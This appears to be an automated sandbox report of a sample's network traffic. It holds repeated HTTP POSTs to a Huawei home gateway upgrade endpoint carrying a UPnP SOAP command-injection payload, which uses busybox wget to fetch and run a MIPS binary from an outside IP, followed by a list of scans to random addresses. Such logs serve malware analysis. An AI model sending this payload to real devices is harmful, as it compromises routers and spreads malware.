62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 197.240.195.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.74.136
Source: unknown	TCP traffic detected without corresponding DNS query: 41.150.0.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.189.46.106
Source: unknown	TCP traffic detected without corresponding DNS query: 156.147.156.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.116.23
Source: unknown	TCP traffic detected without corresponding DNS query: 41.50.215.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.41.142.52
Source: unknown	TCP traffic detected without corresponding DNS query: 41.128.20.63
Source: unknown	TCP traffic detected without corresponding DNS query: 197.192.233.157
Source: unknown	TCP traffic detected without corresponding DNS query: 156.28.135.157
Source: unknown	TCP traffic detected without corresponding DNS query: 156.91.147.218
Source: unknown	TCP traffic detected without corresponding DNS query: 156.205.129.99
Source: unknown	TCP traffic detected without corresponding DNS query: 197.229.12.237
Source: unknown	TCP traffic detected without corresponding DNS query: 41.58.165.93
Source: unknown	TCP traffic detected without corresponding DNS query: 41.61.136.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.235.232.143
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.55.197
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.169.53
Source: unknown	TCP traffic detected without corresponding DNS query: 197.83.37.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.137.68.198
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.91.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.241.161.251
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.79.98
Source: unknown	TCP traffic detected without corresponding DNS query: 156.112.233.104
Source: unknown	TCP traffic detected without corresponding DNS query: 156.203.1.203
Source: unknown	TCP traffic detected without corresponding DNS query: 156.35.78.115
Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.51.57
Source: unknown	TCP traffic detected without corresponding DNS query: 156.77.142.2
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.17.119
Source: unknown	TCP traffic detected without corresponding DNS query: 41.52.175.140
Source: unknown	TCP traffic detected without corresponding DNS query: 41.113.206.125
Source: unknown	TCP traffic detected without corresponding DNS query: 41.224.228.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.143.249
Source: unknown	TCP traffic detected without corresponding DNS query: 156.104.113.198
Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.95.61
Source: unknown	TCP traffic detected without corresponding DNS query: 156.189.150.200
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.18.137
Source: unknown	TCP traffic detected without corresponding DNS query: 156.209.57.80
Source: unknown	TCP traffic detected without corresponding DNS query: 197.233.118.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.179.212
Source: unknown	TCP traffic detected without corresponding DNS query: 41.172.241.134
Source: unknown	TCP traffic detected without corresponding DNS query: 41.147.247.83
Source: unknown	TCP traffic detected without corresponding DNS query: 156.33.124.178
Source: unknown	TCP traffic detected without corresponding DNS query: 156.59.176.98
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.41.161
Source: unknown	TCP traffic detected without corresponding DNS query: 197.103.184.79
Source: unknown	TCP traffic detected without corresponding DNS query: 156.171.125.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.23.127.152
Source: unknown	TCP traffic detected without corresponding DNS query: 41.138.115.205

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

